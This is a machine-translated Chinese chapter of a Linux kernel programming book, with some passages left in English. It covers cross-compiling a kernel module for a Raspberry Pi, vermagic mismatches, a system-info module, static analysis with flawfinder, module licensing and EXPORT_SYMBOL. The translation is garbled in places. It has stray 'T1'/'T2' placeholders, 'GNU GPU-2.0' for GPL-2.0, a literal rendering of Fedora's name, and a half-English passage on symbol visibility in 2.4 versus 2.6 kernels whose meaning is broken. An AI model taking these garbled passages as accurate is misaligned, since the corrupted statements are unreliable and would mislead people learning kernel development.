-实际上,交叉编译内核模块是非常容易的(或者我们这样认为!).只需确保适当设置“特殊”`ARCH`和`CROSS_COMPILE`环境变量。遵循以下步骤: - -1. 让我们为树莓 Pi 目标重新构建我们的第一个 *Hello,world* 内核模块。下面是如何构建它: - -To do so without corrupting the original code, we make a new folder called `cross` with a copy of the (`helloworld_lkm`) code from [Chapter 4](04.html), *Writing your First Kernel Module - LKMs Part 1*, to begin with. - -```sh -cd /ch5/cross -``` - -这里,``是本书 GitHub 源树的根。 - -2. 现在,运行以下命令: - -```sh -make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- -``` - -但是它不起作用(或者它可能起作用;请立即查看以下信息框)。我们会遇到编译失败,如下所示: - -```sh -$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make -C /lib/modules/5.4.0-llkd01/build/ M=/home/llkd/book_llkd/Linux-Kernel-Programming/ch5/cross modules -make[1]: Entering directory '/home/llkd/kernels/linux-5.4' - CC [M] /home/llkd/book_llkd/Linux-Kernel-Programming/ch5/cross/helloworld_lkm.o -arm-linux-gnueabihf-gcc: error: unrecognized command line option ‘-fstack-protector-strong’ -scripts/Makefile.build:265: recipe for target '/home/llkd/book_llkd/Linux-Kernel-Programming/ch5/cross/helloworld_lkm.o' failed -[...] -make: *** [all] Error 2 -$ -``` - -为什么会失败? - -Assuming all tools are set up as per the technical requirements discussed earlier, the cross-compile should work. This is because the `Makefile` provided in the book's repository is a proper working one, the Raspberry Pi kernel has been correctly configured and built, the device is booted off this kernel, and the kernel module is compiled against it. The purpose here, in this book, is to explain the details; thus, we begin with no assumptions, and guide you through the process of correctly performing the cross-compilation. - -为什么前面的交叉编译尝试失败的线索在于,它试图使用–*来构建当前*主机系统的内核源*,而不是目标的内核源树。因此,*我们需要修改* *Makefile,使其指向目标*的正确内核源树。这样做真的很容易。在下面的代码中,我们看到了(已更正的)Makefile 代码的典型编写方式:* - -```sh -# ch5/cross/Makefile: -# To support cross-compiling for kernel modules: -# For architecture (cpu) 'arch', invoke make as: -# make ARCH= CROSS_COMPILE= -ifeq ($(ARCH),arm) - # *UPDATE* 'KDIR' below to point to the ARM Linux kernel source tree on - # your box - KDIR ?= ~/rpi_work/kernel_rpi/linux -else ifeq ($(ARCH),arm64) - # *UPDATE* 'KDIR' below to point to the ARM64 (Aarch64) Linux kernel - # source tree on your box - KDIR ?= ~/kernel/linux-4.14 -else ifeq ($(ARCH),powerpc) - # *UPDATE* 'KDIR' below to point to the PPC64 Linux kernel source tree - # on your box - KDIR ?= ~/kernel/linux-4.9.1 -else - # 'KDIR' is the Linux 'kernel headers' package on your host system; this - # is usually an x86_64, but could be anything, really (f.e. building - # directly on a Raspberry Pi implies that it's the host) - KDIR ?= /lib/modules/$(shell uname -r)/build -endif - -PWD := $(shell pwd) -obj-m += helloworld_lkm.o -EXTRA_CFLAGS += -DDEBUG - -all: - @echo - @echo '--- Building : KDIR=${KDIR} ARCH=${ARCH} CROSS_COMPILE=${CROSS_COMPILE} EXTRA_CFLAGS=${EXTRA_CFLAGS} ---' - @echo - make -C $(KDIR) M=$(PWD) modules -[...] -``` - -仔细查看(新的和“更好的”,如前一节所述)Makefile,您会看到它是如何工作的: - -* 最重要的是,我们有条件地设置`KDIR`变量指向正确的内核源树,这取决于`ARCH`环境变量的值(当然,我已经使用了 ARM[64]和 PowerPC 的内核源树的一些路径名作为例子;请用内核源代码树的实际路径替换路径名) -* 像往常一样,我们设置`obj-m += .o`。 -* 我们还设置`CFLAGS_EXTRA`来添加`DEBUG`符号(以便在我们的 LKM 甚至`pr_debug()/pr_devel()`宏工作中定义`DEBUG`符号)。 -* `@echo '<...>'`线相当于炮弹的`echo`命令;它只是在构建时发出一些有用的信息(前缀`@`隐藏了 echo 语句本身不显示)。 -* 最后,我们有“通常”的 Makefile 目标:`all`、`install`和`clean`–这些与早期的*相同,除了*这个重要的变化:**我们使其将目录**(通过`-C`开关)更改为`KDIR`的值! -* 虽然在前面的代码中没有显示,但是这个“更好的”Makefile 有几个额外的有用目标。您肯定应该花时间去探索和使用它们(如前一节所述;开始时,只需输入`make help`,研究输出并尝试)。 - -完成所有这些之后,让我们用这个版本重试交叉编译,看看它是如何进行的。 - -## 尝试 2–将 Makefile 指向目标的正确内核源代码树 - -所以现在,有了上一节描述的*增强的* Makefile,它*应该可以*工作了。在我们的新目录中,我们将尝试这一点–`cross`(因为我们在交叉编译,而不是我们生气!)–遵循以下步骤: - -1. 使用适合交叉编译的`make`命令尝试构建(第二次): - -```sh -$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- ---- Building : KDIR=~/rpi_work/kernel_rpi/linux ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- EXTRA_CFLAGS=-DDEBUG --- - -make -C ~/rpi_work/kernel_rpi/linux M=/home/llkd/booksrc/ch5/cross modules -make[1]: Entering directory '/home/llkd/rpi_work/kernel_rpi/linux' - -ERROR: Kernel configuration is invalid. - include/generated/autoconf.h or include/config/auto.conf are missing. - Run 'make oldconfig && make prepare' on kernel src to fix it. - - WARNING: Symbol version dump ./Module.symvers - is missing; modules will have no dependencies and modversions. -[...] -make: *** [all] Error 2 -$ -``` - -它失败的真正原因是我们编译内核模块所针对的树莓皮内核仍然处于“原始”状态。它的根目录中甚至没有`.config`文件(前面的输出告诉我们,还有其他必需的头),它需要(至少)对其进行配置。 - -2. 要解决此问题,请切换到树莓皮内核源树的根,并按照以下步骤操作: - -```sh -$ cd ~/rpi-work/kernel_rpi/linux $ make ARCH=arm bcmrpi_defconfig -# -# configuration written to .config -# -$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- oldconfig -scripts/kconfig/conf --oldconfig Kconfig -# -# configuration written to .config -# -$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- prepare -scripts/kconfig/conf --silentoldconfig Kconfig - CHK include/config/kernel.release - UPD include/config/kernel.release - WRAP arch/arm/include/generated/asm/bitsperlong.h - WRAP arch/arm/include/generated/asm/clkdev.h - [...] -$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- - CHK include/config/kernel.release - CHK include/generated/uapi/linux/version.h - CHK include/generated/utsrelease.h - [...] - HOSTCC scripts/recordmcount - HOSTCC scripts/sortextable - [...] -$ -``` - -请注意,这些步骤实际上相当于执行树莓皮内核的部分构建!事实上,如果您已经构建(交叉编译)了这个内核,正如前面在[第 3 章](03.html)、*中从源代码构建 5.x Linux 内核-第 2 部分*中所解释的,那么内核模块交叉编译应该只工作,没有这里看到的中间步骤。 - -## 尝试 3–交叉编译我们的内核模块 - -现在我们已经配置了树莓 Pi 内核源树(在主机系统上)和增强的 Makefile(参见*尝试 2–将 Makefile 指向目标的正确内核源树*部分),它*应该会*工作。让我们重试: - -1. 我们(再次)尝试构建(交叉编译)内核。发出`make`命令,照常传递`ARCH`和`CROSS_COMPILE`环境变量: - -```sh -$ ls -l -total 12 --rw-rw-r-- 1 llkd llkd 1456 Mar 18 17:48 helloworld_lkm.c --rw-rw-r-- 1 llkd llkd 6470 Jul 6 17:30 Makefile -$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- --- Building : KDIR=~/rpi_work/kernel_rpi/linux ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- EXTRA_CFLAGS=-DDEBUG --- - -make -C ~/rpi_work/kernel_rpi/linux M=/home/llkd/booksrc/ch5/cross modules -make[1]: Entering directory '/home/llkd/rpi_work/kernel_rpi/linux' - WARNING: Symbol version dump ./Module.symvers - is missing; modules will have no dependencies and modversions. - -Building for: ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- EXTRA_CFLAGS= -DDEBUG - CC [M] /home/llkd/book_llkd/Linux-Kernel-Programming/ch5/cross/helloworld_lkm.o -​ Building modules, stage 2. - MODPOST 1 modules - CC /home/llkd/booksrc/ch5/cross/helloworld_lkm.mod.o - LD [M] /home/llkd/booksrc/ch5/cross/helloworld_lkm.ko -make[1]: Leaving directory '/home/llkd/rpi_work/kernel_rpi/linux' -$ file ./helloworld_lkm.ko -./helloworld_lkm.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=17...e, not stripped -$ -``` - -构建成功!`helloworld_lkm.ko`内核模块确实已经针对 ARM 架构进行了交叉编译(使用树莓 Pi 交叉工具链和内核源代码树)。 - -We can ignore the preceding warning regarding the `Module.symvers` file for now. It isn't present as (here) the entire Raspberry Pi kernel hasn't been built. - -Also, FYI, on recent hosts running GCC 9.x or later and kernel versions 4.9 or later, there are some compiler attribute warnings emitted. When I tried cross-compiling this kernel module using `arm-linux-gnueabihf-gcc` version 9.3.0 and the Raspberry Pi kernel version 4.14.114, warnings such as this were emitted: - -`./include/linux/module.h:131:6: warning: ‘init_module’ specifies less restrictive attribute than its target ‘helloworld_lkm_init’: ‘cold’ [-Wmissing-attributes]` - -Miguel Ojeda points this out ([https://lore.kernel.org/lkml/CANiq72=T8nH3HHkYvWF+vPMscgwXki1Ugiq6C9PhVHJUHAwDYw@mail.gmail.com/](https://lore.kernel.org/lkml/CANiq72=T8nH3HHkYvWF+vPMscgwXki1Ugiq6C9PhVHJUHAwDYw@mail.gmail.com/)) and has even generated a patch to handle this issue ([https://github.com/ojeda/linux/commits/compiler-attributes-backport](https://github.com/ojeda/linux/commits/compiler-attributes-backport)). As of the time of writing, the patch is applied in the kernel mainline and in *recent* Raspberry Pi kernels (so, the `rpi-5.4.y` branch works fine but earlier ones such as the `rpi-4.9.y` branch don't seem to have it)! Hence the compiler warnings... effectively, if you do see these warnings, update the Raspberry Pi branch to `rpi-5.4.y` or later (or, for now, just ignore them). - -2. 布丁好不好的证据在于吃。因此,我们在交叉编译的内核模块对象文件中启动我们的树莓 Pi,`scp(1)`,如下所示(在树莓 Pi 上的`ssh(1)`会话中),尝试一下(以下输出直接来自设备): - -```sh -$ sudo insmod ./helloworld_lkm.ko insmod: ERROR: could not insert module ./helloworld_lkm.ko: Invalid module format $ -``` - -显然,前面代码中的`insmod(8)`失败了!*了解原因很重要。* - -这实际上与我们试图加载模块的内核版本中的*不匹配以及模块编译所针对的内核版本有关。* - -3. 登录树莓 Pi 时,打印出我们正在运行的当前树莓 Pi 内核版本,并使用`modinfo(8)`实用程序打印出内核模块本身的详细信息: - -```sh -rpi ~ $ cat /proc/version -Linux version 4.19.75-v7+ (dom@buildbot) (gcc version 4.9.3 (crosstool-NG crosstool-ng-1.22.0-88-g8460611)) #1270 SMP Tue Sep 24 18:45:11 BST 2019 -rpi ~ $ modinfo ./helloworld_lkm.ko -filename: /home/pi/./helloworld_lkm.ko -version: 0.1 -license: Dual MIT/GPL -description: LLKD book:ch5/cross: hello, world, our first Raspberry Pi LKM -author: Kaiwan N Billimoria -srcversion: 7DDCE78A55CF6EDEEE783FF -depends: -name: helloworld_lkm -vermagic: 5.4.51-v7+ SMP mod_unload modversions ARMv7 p2v8 -rpi ~ $ -``` - -从前面的输出中,很明显,我们在树莓皮上运行`4.19.75-v7+`内核。事实上,这是我在设备的 microSD 卡上安装*默认* Raspbian OS 时继承的内核(这里介绍的是一个经过深思熟虑的场景,最初*不是*使用的是我们之前为树莓 Pi 构建的 5.4 内核)。另一方面,内核模块显示它是针对`5.4.51-v7+` Linux 内核编译的(来自`modinfo(8)`的`vermagic`字符串显示了这一点)。*很明显,有错配。*嗯,那又怎样? - -Linux 内核有一个规则,*内核的一部分* **应用二进制接口** ( **ABI** ): **只有在内核模块已经针对其构建的情况下,它才会将该内核模块插入内核内存**——精确的内核版本、构建标志,甚至内核配置选项都很重要! - -The *built against* kernel is the kernel whose source location you specified in the Makefile (we did so via the `KDIR` variable previously). - -换句话说,内核模块**与内核不二进制兼容,除了它们针对** *构建的内核。*例如,如果我们在一个 Ubuntu 18.04 LTS 盒子上构建一个内核模块,那么它将只在运行这个精确环境(库、内核或工具链)的系统上工作!它不会在软呢帽 29 或 RHEL 7.x、树莓皮等上面工作。现在——再一次,想想这个——这并不意味着内核模块是完全不兼容的。不,它们是跨不同架构的*源代码兼容的*(至少它们可以或者*应该是这样写的*)。所以,假设你有源代码,你总是可以在给定的系统上*重建*一个内核模块,然后它会在那个系统上工作。只是*二进制图像*(文件`.ko`)与内核不兼容,除了它所针对的精确内核。 - -别紧张,这个问题其实很容易发现。查找内核日志: - -```sh -$ dmesg |tail -n2 [ 296.130074] helloworld_lkm: no symbol version for module_layout -[ 296.130093] helloworld_lkm: version magic '5.4.51-v7+ mod_unload modversions ARMv6 p2v8 ' should be '4.19.75-v7+ SMP mod_unload modversions ARMv7 p2v8 ' $ -``` - -在设备上,当前运行的内核是这样的:`4.19.75-v7+`。内核实际上告诉我们,我们的内核模块是根据`5.4.51-v7+`内核版本构建的(它还显示了一些预期的内核配置)以及它应该是什么。有错配!因此无法插入内核模块。 - -虽然我们在这里不使用这种方法,但是有一种方法可以通过名为 **DKMS** ( **动态内核模块支持** ) *的框架来确保成功构建和部署第三方树外内核模块(只要它们的源代码可用)。*以下是直接引自它的话: - -动态内核模块支持(DKMS)是一个能够生成 Linux 内核模块 的程序/框架,其源代码通常位于内核源代码树之外。其概念是让 DKMS 模块 在安装新内核时自动重建。 - -作为 DKMS 用法的一个例子,Oracle VirtualBox 虚拟机管理程序(在 Linux 主机上运行时)使用 DKMS 来自动构建和更新其内核模块。 - -## 尝试 4–交叉编译我们的内核模块 - -因此,现在我们理解了这个问题,有两种可能的解决方案: - -* 我们必须为产品使用所需的定制配置内核,并根据它构建我们所有的内核模块。 -* 或者,我们可以重建内核模块,以匹配设备运行的当前内核。 - -现在,在典型的嵌入式 Linux 项目中,您几乎肯定会有一个为目标设备定制配置的内核,您必须使用它。该产品的所有内核模块都将/必须根据它来构建。因此,我们遵循第一种方法–我们必须使用定制配置和构建的(5.4!)内核,由于我们的内核模块是针对它构建的,所以它现在应该可以工作了。 - -We (briefly) covered the kernel build for the Raspberry Pi in [Chapter 3](03.html), *Building the 5.x Linux Kernel from Source - Part 2.* Refer back there for the details if required. - -好的,我将不得不假设您已经遵循了步骤(在[第 3 章](03.html)、*中介绍了从源代码构建 5.x Linux 内核-第 2 部分*)并且已经为树莓 Pi 配置和构建了 5.4 内核。关于如何将我们的自定义`zImage`复制到设备的 microSD 卡等的细节在此不做介绍。我在这里向您推荐正式的树莓 Pi 文档:[https://www . raspberrypi . org/documents/Linux/kernel/building . MD](https://www.raspberrypi.org/documentation/linux/kernel/building.md)。 - -然而,我们将指出一种在设备上内核之间切换的方便方法(这里,我假设设备是运行 32 位内核的树莓皮 3B+): - -1. 将您定制的`zImage`内核二进制文件复制到设备的 microSD 卡的`/boot`分区中。将原始树莓皮核图像保存为`kernel7.img.orig`。 -2. 将刚刚交叉编译的内核模块(ARM 的“T1”,在上一节中完成)从您的主机系统复制到 microSD 卡上(通常是复制到“T2”)。 - -3. 接下来,再次在设备的 microSD 卡上,编辑`/boot/config.txt`文件,设置内核通过`kernel=xxx`线启动。设备上该文件的一个片段显示了这一点: - -```sh -rpi $ cat /boot/config.txt -[...] -# KNB: enable the UART (for the adapter cable: USB To RS232 TTL UART -# PL2303HX Converter USB to COM) -enable_uart=1 -# KNB: select the kernel to boot from via kernel=xxx -#kernel=kernel7.img.orig -kernel=zImage -rpi $ -``` - -4. 保存并重新启动后,我们登录到设备并重试我们的内核模块。图 5.2 是在树莓 Pi 设备上使用的刚刚交叉编译的`helloworld_lkm.ko` LKM 的截图: - -![](img/e189384b-6e5c-4490-98a0-d12c52044b55.png) - -Figure 5.2 – The cross-compiled LKM being used on a Raspberry Pi - -啊,成功了!请注意,这一次,当前内核版本(`5.4.51-v7+`)与构建模块的内核版本精确匹配——在`modinfo(8)`输出中,我们可以看到`vermagic`字符串显示它是`5.4.51-v7+`。 - -If you do see an issue with `rmmod(8)` throwing a non-fatal error (though the cleanup hook is still called), the reason is that you haven't yet fully set up the newly built kernel on the device. You will have to copy in all the kernel modules (under `/lib/modules/`) and run the `depmod(8)` utility there. Here, we will not delve further into these details – as mentioned before, the official documentation for the Raspberry Pi covers all these steps. - -Of course, the Raspberry Pi is a pretty powerful system; you can install the (default) Raspbian OS along with development tools and kernel headers and thus compile kernel modules on the board itself! (No cross-compile required.) Here, though, we have followed the cross-compile approach as this is typical when working on embedded Linux projects. - -LKM 框架是一项相当大的工作。还有很多事情有待探索。我们开始吧。在下一节中,我们将研究如何从内核模块中获取一些最少的系统信息。 - -# 收集最少的系统信息 - -在我们上一节(`ch5/cross/helloworld_lkm.c`)的简单演示中,我们硬编码了一个`printk()`来发出一个`"Hello/Goodbye, Raspberry Pi world\n"`字符串,不管内核模块是否真的运行在树莓 Pi 设备上。为了更好地“检测”一些系统细节(如中央处理器或操作系统),我们建议您参考我们的示例`ch5/min_sysinfo/min_sysinfo.c`内核模块。在下面的代码片段中,我们只显示了相关的函数: - -```sh -// ch5/min_sysinfo/min_sysinfo.c -[ ... ] -void llkd_sysinfo(void) -{ - char msg[128]; - - memset(msg, 0, strlen(msg)); - snprintf(msg, 47, "%s(): minimal Platform Info:\nCPU: ", __func__); - - /* Strictly speaking, all this #if... is considered ugly and should be - * isolated as far as is possible */ -#ifdef CONFIG_X86 -#if(BITS_PER_LONG == 32) - strncat(msg, "x86-32, ", 9); -#else - strncat(msg, "x86_64, ", 9); -#endif -#endif -#ifdef CONFIG_ARM - strncat(msg, "ARM-32, ", 9); -#endif -#ifdef CONFIG_ARM64 - strncat(msg, "Aarch64, ", 10); -#endif -#ifdef CONFIG_MIPS - strncat(msg, "MIPS, ", 7); -#endif -#ifdef CONFIG_PPC - strncat(msg, "PowerPC, ", 10); -#endif -#ifdef CONFIG_S390 - strncat(msg, "IBM S390, ", 11); -#endif - -#ifdef __BIG_ENDIAN - strncat(msg, "big-endian; ", 13); -#else - strncat(msg, "little-endian; ", 16); -#endif - -#if(BITS_PER_LONG == 32) - strncat(msg, "32-bit OS.\n", 12); -#elif(BITS_PER_LONG == 64) - strncat(msg, "64-bit OS.\n", 12); -#endif - pr_info("%s", msg); - - show_sizeof(); - /* Word ranges: min & max: defines are in include/linux/limits.h */ - [ ... ] -} -EXPORT_SYMBOL(lkdc_sysinfo); -``` - -(这个 LKM 向您展示的其他细节,如各种原始数据类型加上单词范围的大小,在这里没有显示;请务必参考我们 GitHub 存储库中的源代码,并亲自尝试一下。)前面的内核模块代码很有启发性,因为它有助于演示如何编写可移植代码。请记住,内核模块本身是一个二进制不可移植的对象文件,但是它的源代码可以(也许,应该,取决于您的项目)以这样的方式编写,以便它可以跨各种体系结构移植。然后,在目标架构上(或为目标架构)进行简单的构建,就可以进行部署了。 - -For now, please ignore the `EXPORT_SYMBOL()` macro used here. We will cover its usage shortly. - -在我们现在熟悉的 x86_64 Ubuntu 18.04 LTS 客户机上构建和运行它,我们得到了以下输出: - -```sh -$ cd ch5/min_sysinfo -$ make -[...] -$ sudo insmod ./min_sysinfo.ko -$ dmesg -[...] -[29626.257341] min_sysinfo: inserted -[29626.257352] llkd_sysinfo(): minimal Platform Info: - CPU: x86_64, little-endian; 64-bit OS. -$ -``` - -太好了。类似地(如前所述),我们可以*为 ARM-32(树莓 Pi)交叉编译*这个内核模块,然后将交叉编译的内核模块转移(`scp(1)`)到我们的树莓 Pi 目标并在那里运行(以下输出来自运行 32 位树莓 Pi 操作系统的树莓 Pi 3B+): - -```sh -$ sudo insmod ./min_sysinfo.ko -$ dmesg -[...] -[ 80.428363] min_sysinfo: inserted -[ 80.428370] llkd_sysinfo(): minimal Platform Info: - CPU: ARM-32, little-endian; 32-bit OS. -$ -``` - -事实上,这揭示了一些有趣的事情;树莓皮 3B+有一个原生的 *64 位中央处理器*,但是默认情况下(在撰写本文时)运行一个 32 位操作系统,因此有前面的输出。我们将让您在树莓皮(或其他)设备上安装 64 位 Linux 操作系统,并重新运行该内核模块。 - -The powerful *Yocto Project* ([https://www.yoctoproject.org/](https://www.yoctoproject.org/)) is one (industry-standard) way to generate a 64-bit OS for the Raspberry Pi. Alternatively (and much easier to quickly try), Ubuntu provides a custom Ubuntu 64-bit kernel and root filesystem for the device ([https://wiki.ubuntu.com/ARM/RaspberryPi](https://wiki.ubuntu.com/ARM/RaspberryPi)). - -## 更加注重安全性 - -当然,安全是目前的一个关键问题。专业开发人员应该编写安全的代码。近年来,已经有许多针对 Linux 内核的已知攻击(更多信息请参见*进一步阅读*部分)。与此同时,许多提高 Linux 内核安全性的努力也在进行中。 - -在我们前面的内核模块(`ch5/min_sysinfo/min_sysinfo.c`)中,要警惕使用老式的例程(比如`sprintf`、`strlen`等等;是的,它们存在于内核中)!*静态分析器*可以极大地帮助捕捉潜在的安全相关和其他错误;我们强烈建议您使用它们。[第 1 章](01.html)、*内核* *工作空间设置*中,提到了几个对内核有用的静态分析工具。在下面的代码中,我们使用“更好的”Makefile 中的一个`sa`目标来运行一个相对简单的静态分析器:`flawfinder(1)`(由大卫·惠勒编写): - -```sh -$ make [tab][tab] all clean help install sa_cppcheck sa_gcc -tarxz-pkg checkpatch code-style indent sa sa_flawfinder sa_sparse $ make sa_flawfinder -make clean -make[1]: Entering directory '/home/llkd/llkd_book/Linux-Kernel-Programming/ch5/min_sysinfo' - ---- cleaning --- - -[...] - ---- static analysis with flawfinder --- - -flawfinder *.c -Flawfinder version 1.31, (C) 2001-2014 David A. Wheeler. -Number of rules (primarily dangerous function names) in C/C++ ruleset: 169 -Examining min_sysinfo.c - -FINAL RESULTS: - -min_sysinfo.c:60: [2] (buffer) char: - Statically-sized arrays can be improperly restricted, leading to potential overflows or other issues (CWE-119:CWE-120). Perform bounds checking, use functions that limit length, or ensure that the size is larger than the maximum possible length. - -[...] - -min_sysinfo.c:138: [1] (buffer) strlen: - Does not handle strings that are not \0-terminated; if given one it may - perform an over-read (it could cause a crash if unprotected) (CWE-126). -[...] -``` - -仔细看`flawfinder(1)`发出的关于`strlen()`功能的警告(在它产生的众多警告中!).这确实是我们在这里面临的情况!请记住,未初始化的局部变量(如我们的`msg`缓冲区)在声明时具有*随机内容*。因此,`strlen()`函数可能会也可能不会产生我们期望的值。 - -The output of `flawfinder` even mentions the **CWE** number (here, CWE-126) of the *generalized class* of security issue that is being seen here; (do google it and you will see the details. In this instance, CWE-126 represents the buffer over-read issue: [https://cwe.mitre.org/data/definitions/126.html](https://cwe.mitre.org/data/definitions/126.html)). - -同样,我们避免使用`strncat()`并用`strlcat()`功能代替。因此,考虑到安全问题,我们将`llkd_sysinfo()`函数的代码重写为`llkd_sysinfo2()`。 - -我们还添加了几行代码来显示平台上无符号和有符号变量的*范围*(最小值,最大值)(基数为 10 和 16)。我们让你通读。作为一个简单的任务,在你的 Linux 盒子上运行这个内核模块并验证输出。 - -现在,让我们继续讨论一下关于 Linux 内核和内核模块代码的许可。 - -# 授权内核模块 - -众所周知,Linux 内核代码库本身是在 GNU GPL v2(又名 GPL-2.0; **GPL** 代表**通用公共许可证**,就大多数人而言,仍将如此。如前所述,在[第 4 章](04.html)、*编写您的第一个内核模块–LKMs 第 1 部分中,*许可您的内核代码是必需且重要的。本质上,讨论的内容,至少对于我们的目的来说,归结为:如果你的意图是直接使用内核代码和/或将你的代码上游贡献到主线内核中(下面是一些注释),你*必须*在与发布 Linux 内核相同的许可下发布代码:GNU GPU-2.0。对于一个内核模块来说,情况仍然有点“不稳定”。无论如何,要让内核社区参与进来并得到他们的帮助(这是一个巨大的优势),你应该,或者被期望在 GNU GPU-2.0 许可下发布代码(尽管双重许可当然是可能的,也是可以接受的)。 - -使用`MODULE_LICENSE()`宏指定许可证。以下评论转载自`include/linux/module.h`内核头,清楚地显示了什么许可“标识”是可接受的(注意双重许可)。显然,内核社区强烈建议在 GPL-2.0 (GPL v2)和/或其他版本下发布您的内核模块,例如 BSD/MIT/MPL。如果你打算向内核主线上游贡献代码,不言而喻,仅 GPL-2.0*就是*发布许可: - -```sh -// include/linux/module.h -[...] -/* - * The following license idents are currently accepted as indicating free - * software modules - * - * "GPL" [GNU Public License v2 or later] - * "GPL v2" [GNU Public License v2] - * "GPL and additional rights" [GNU Public License v2 rights and more] - * "Dual BSD/GPL" [GNU Public License v2 - * or BSD license choice] - * "Dual MIT/GPL" [GNU Public License v2 - * or MIT license choice] - * "Dual MPL/GPL" [GNU Public License v2 - * or Mozilla license choice] - * - * The following other idents are available - * - * "Proprietary" [Non free products] - * - * There are dual licensed components, but when running with Linux it is the GPL that is relevant so this is a non issue. Similarly LGPL linked with GPL is a GPL combined work. - * - * This exists for several reasons - * 1\. So modinfo can show license info for users wanting to vet their setup is free - * 2\. So the community can ignore bug reports including proprietary modules - * 3\. So vendors can do likewise based on their own policies - */ -#define MODULE_LICENSE(_license) MODULE_INFO(license, _license) -[...] -``` - -仅供参考,内核源代码树有一个`LICENSES/`目录,在这个目录下你可以找到关于许可证的详细信息;这个文件夹上的快速`ls`显示其中的子文件夹: - -```sh -$ ls <...>/linux-5.4/LICENSES/ -deprecated/ dual/ exceptions/ preferred/ -``` - -我们将让您看一看,这样,关于许可的讨论就到此为止了;现实是,这是一个需要法律知识的复杂话题。建议您咨询公司内部的专业法律人员(律师)(或雇佣他们),以便为您的产品或服务找到合适的法律角度。 - -在这个话题上,为了保持一致,最近的内核有一个规则:每个单独的源文件的第一行必须是一个 SPDX 许可证标识符(详情见[https://spdx.org/](https://spdx.org/))。当然,脚本需要第一行来指定解释器。此外,GPL 许可证常见问题的一些答案也在此处给出:[https://www.gnu.org/licenses/gpl-faq.html](https://www.gnu.org/licenses/gpl-faq.html)。 - -更多关于许可模式,不滥用`MODULE_LICENSE`宏,特别是多许可/双许可模式,可以在本章*进一步阅读*部分提供的链接中找到。现在,让我们回到技术上来。下一节将解释如何在内核空间中有效地模拟类似库的特性。 - -# 模拟内核模块的“类库”特性 - -用户模式和内核模式编程的一个主要区别是后者中完全没有熟悉的“库”概念。库本质上是 API 的集合或归档,方便开发者满足重要目标,典型的有:*不要重新发明轮子、软件复用、模块化*等等。但是在 Linux 内核中,库是不存在的。 - -不过,好消息是,从广义上讲,有两种技术可以在内核空间中为我们的内核模块实现“类似库”的功能: - -* 第一种技术:显式地“链接”多个源文件——包括“库”代码——到你的内核模块对象。 -* 第二种叫做模块堆叠。 - -当我们更详细地讨论这些技术时,请务必继续阅读。一个搅局者,也许,但是马上知道是有用的:前面的技术中的第一个通常优于第二个。话说回来,这确实取决于项目。一定要阅读下一节的细节;我们边走边列出一些利弊。 - -## 通过多个源文件执行库仿真 - -到目前为止,我们已经处理了只有一个 C 源文件的非常简单的内核模块。一个内核模块有不止一个 C 源文件的(相当典型的)现实情况如何?所有的源文件都必须被编译,然后作为一个单一的`.ko`二进制对象链接在一起。 - -例如,假设我们正在构建一个名为`projx`的内核模块项目。它由三个 C 源文件组成:`prj1.c, prj2.c`和`prj3.c`。我们希望最终的内核模块被称为`projx.ko`。Makefile 是您指定这些关系的地方,如图所示: - -```sh -obj-m := projx.o -projx-objs := prj1.o prj2.o prj3.o -``` - -在前面的代码中,注意`projx`标签是如何在`obj-m`指令*和*之后用作下一行 -`-objs`指令的前缀的。当然,你可以使用任何标签。我们前面的例子将让内核构建系统将三个单独的 C 源文件编译成单独的对象(`.o`)文件,然后将*将它们链接在一起,形成最终的二进制内核模块对象文件,* `projx.ko`,正如我们所期望的那样。 - -我们可以利用这种机制在我们的书的源代码树中构建一个小的例程“库”(这个“内核库”的源文件在源代码树的根中:`klib_llkd.h`和`klib_llkd.c`)。这个想法是,其他内核模块可以通过链接到它们来使用这里的功能!例如,在即将到来的[第 7 章](07.html) *【内存管理内部构件-要点】*中,我们让我们的`ch7/lowlevel_mem/lowlevel_mem.c`内核模块代码调用驻留在我们的库代码`../../klib_llkd.c`中的函数。“链接到”我们所谓的“库”代码是通过将以下内容放入`lowlevel_mem`内核模块的 Makefile 来实现的: - -```sh -obj-m += lowlevel_mem_lib.o -lowlevel_mem_lib-objs := lowlevel_mem.o ../../klib_llkd.o -``` - -第二行指定要构建的源文件(到目标文件中);它们是`lowlevel_mem.c`内核模块的代码和`../../klib_llkd`库代码。然后,它将和`lowlevel_mem_lib.ko`连接成一个二进制内核模块,实现了我们的目标。(为什么不做本章末尾*问题*部分规定的作业 5.1。) - -## 理解内核模块中的函数和变量范围 - -在深入研究之前,快速地重新审视一些基础知识是个好主意。用 C 语言编程时,您应该了解以下内容: - -* 在函数中局部声明的变量显然是它的局部变量,并且只在该函数中有作用域。 -* 前缀为`static`限定符的变量和函数只有在当前“单位”内才有作用域;实际上,他们声明的文件。这很好,因为它有助于减少名称空间污染。静态(和全局)数据变量在该函数中保留它们的值。 - -在 2.6 Linux(即<= 2.4.x, ancient history now), kernel module static and global variables, as well as all functions, were automatically visible throughout the kernel. This was, in retrospect, obviously not a great idea. The decision was reversed from 2.5 (and thus 2.6 onward, modern Linux): **之前,所有内核模块变量(静态和全局数据)和函数在默认情况下只限于它们的内核模块私有,因此在它之外是不可见的**。所以,如果两个内核模块`lkmA`和`lkmB`有一个全局名为`maya`,那么它对它们每个都是唯一的;没有冲突。 - -为了改变范围,LKM 框架提供了`EXPORT_SYMBOL()`宏。使用它,您可以声明一个数据项或函数在范围上是*全局的*,实际上,对所有其他内核模块以及内核核心都是可见的。 - -我们举一个简单的例子。我们有一个名为`prj_core`的内核模块,它包含一个全局和一个函数: - -```sh -static int my_glob = 5; -static long my_foo(int key) -{ [...] -} -``` - -虽然两者都可以在这个内核模块中使用,但是在它之外看不到。这是故意的。为了使它们在这个内核模块之外可见,我们可以*导出*它们: - -```sh -int my_glob = 5; -EXPORT_SYMBOL(my_glob); - -long my_foo(int key) -{ [...] -} -EXPORT_SYMBOL(my_foo); -``` - 